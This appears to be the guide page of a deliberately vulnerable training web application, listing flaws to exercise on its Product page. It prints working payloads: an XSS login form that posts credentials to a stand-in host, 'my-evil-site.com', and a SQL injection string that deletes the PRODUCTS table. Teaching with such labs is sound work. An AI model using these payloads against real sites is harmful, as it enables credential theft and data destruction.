This application contains a number of deliberate (and probably also unintended) security vulnerabilities. Some of the example vulnerabilities that you can "exercise" are listed below:

XSS Injection Example

The Product page re-displays any search keywords entered. This is not necessarily a problem but you will notice that a parameter "keywords" is used and can be passed in the URL automatically. We can use this to carry out XSS injection.

A simple example would be to execute some Javascript:

    <script>alert("I am hacking!")</script>
                            

or the same JavaScript URL encoded:

    %3Cscript%3Ealert%28%22I am hacking!%22%29%3C%2Fscript%3E%0A
                            

Another example would be to present a login form which we could use to capture the users credentials:

    <form action="http://my-evil-site.com" method="post" class="form-login">
        <h5>Please login to continue:</h5>
        <div class="form-group">
            <input type="text" id="username" name="username" class="form-control" autofocus="autofocus" placeholder="Username">
        </div>
        <div class="form-group mb-0">
            <input type="password" id="password" name="password" class="form-control" placeholder="Password">
        </div>
        <button class="btn btn-lg btn-primary btn-block" name="login-submit" id="login-submit" type="submit">Login</button>
    </form>
                            

or the same form URL encoded:

    %3Cform%20action%3D%22http%3A%2F%2Fmy-evil-site.com%22%20method%3D%22post%22%20class%3D%22form-login%22%3E%0A%09%3Ch5%3EPlease%20login%20to%20continue%3A%3C%2Fh5%3E%0A%09%3Cdiv%20class%3D%22form-group%22%3E%0A%09%09%3Cinput%20type%3D%22text%22%20id%3D%22username%22%20name%3D%22username%22%20class%3D%22form-control%22%20autofocus%3D%22autofocus%22%20placeholder%3D%22Username%22%3E%0A%09%3C%2Fdiv%3E%0A%09%3Cdiv%20class%3D%22form-group%20mb-0%22%3E%0A%09%09%3Cinput%20type%3D%22password%22%20id%3D%22password%22%20name%3D%22password%22%20class%3D%22form-control%22%20placeholder%3D%22Password%22%3E%0A%09%3C%2Fdiv%3E%0A%09%3Cbutton%20class%3D%22btn%20btn-lg%20btn-primary%20btn-block%22%20name%3D%22login-submit%22%20id%3D%22login-submit%22%20type%3D%22submit%22%3ELogin%3C%2Fbutton%3E%0A%3C%2Fform%3E
                            

SQL Injection Example

The search field on the Product page passed the inputs straight through as raw SQL input. You can cause a serious problem (deleting the Product database) by entering the following in the search field:

    %';DELETE%20FROM%20PRODUCTS;--
                            

Dont worry, the database is automatically created/populated on startup so you can simply restart the application to get the data back.

JSON Injection Example